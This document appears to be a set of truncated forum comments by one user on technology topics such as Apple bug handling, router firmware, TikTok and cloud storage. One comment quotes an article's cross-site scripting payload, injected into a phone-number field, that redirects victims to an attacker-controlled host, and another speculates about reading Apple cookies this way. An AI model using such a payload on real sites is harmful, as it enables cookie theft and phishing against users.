Interesting idea. But Musk and Bezos are still in charge…

Maybe I misread it, but I understood that the article said that the simplest tasks get complex when dozens of people are involved in solving it. I'm not saying that's wrong, of course working with a large team creates overhead. Bu

That's what I thought, too. Amazon is a bad example, maybe for Twitter, you could make the case. But not for the reasons the article mentions: Sure, there's some overhead due to communication and misaligned incentives, but most of

I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…

Very likely. Because apple does not take bug reports seriously, they probably have no team that is in charge of the whole process from first evaluation to fixing the bug. As soon as the issue is redirected to the responsible development te

The input field isn’t the problem here. In fact the article even mentions that you need to hijack the request and alter the phone number. So I guess the Apple engineer that created this feature fell for the same misunderstanding that you di

From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field: <script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script>

I'm not sure the fullscreen video in the page background helps to promote working with a VR headset. It's lagging, tearing and blurry. If I get dizzy by just looking at the page, how on earth would I last more than 5 minutes in a

Yes, they earn money from the MFI program, but there's no reason to ditch that when changing to USB-C. Remember the outrage among "normal" users when the Dock Connector was replaced by Lightning? Everyone was upset they'

I run this on my Asus R7000 and it's the best firmware I've ever used on this (or any router) device. NAS, OpenVPN, Guest Wifi and even Transmission (Bittorrent Client) and nginx have been running stable for many years now, and th

What about a law the forces vendors to either provide security updates or publish the source code? That seems like a reasonable trade off between consumer rights and ip protection.

This starts to get really off topic, but I have the same use case. I don't know why, but at least here in Europe most shavers come with NiMH batteries, which seem to suffer from self discharging. Since I got one with a lithium ion batt

I‘m still at 52gb free Storage. But I just need 2. I’d even pay 2-3 bucks a month to get rid of the device limit. But I won’t pay for a terabyte I don’t need…

Searching for a bubble that reinforces your existing views is probably not the best way to learn more about any given topic.

This isn't the kind of "storage provider" we were talking about. As long as you simply put blobs in there, you don't need end to end encryption, you can simply do the encryption yourself (like people do with these servic

Here in Germany, I have not seen much quality content on TikTok yet. Every time people praise the service like in these comments, I give it another try. I start the app and see unfunny scripted jokes, barely dressed girls singing and today

I fully agree with you. But while scrolling to next comment, a question came to my mind: Would it really bother me if some person that does not known my name, has never met me in real life and never will is looking at my pictures without me

I just updated and the first start definitely took less than that on my Fusion Drive iMac from 2015. Something’s not right there…

Thank you . I guess this is obvious, but I never thought about it and was never sure when to use which one. Now it makes sense.

I say it every time this comes up: People don't care if something looks legit. They care if it supports their views. Nothing will get worse just because the fakes get better. It might even help when it's common knowledge that ever

Well, Robert DeNero's face still has the same proportions and bone structure, so taking the original video as a starting point would probably yield the same results.

You are absolutely right. The manufacturer and the law has no say on the usage of a device I own. And still I cannot expect them to support a way of usage that was never intended. So Apple shouldn't be (and isn't) able to sue jail

I feel you. I hate Medium, too. But I hate even more that this is the top most comment on hn, even though you admit to not even having read the article and clearly don’t know what it’s about. Sorry, I know this comment is OT as well…

The question is: are you allowed to train a neural network on movies (e.g. For an automated color grading algorithm) and then sell that as a service?

We haven't even figured out how to specify what "correctness" means for all but the most trivial examples. What is the "correct" behavior of that example snippet in the linked post?
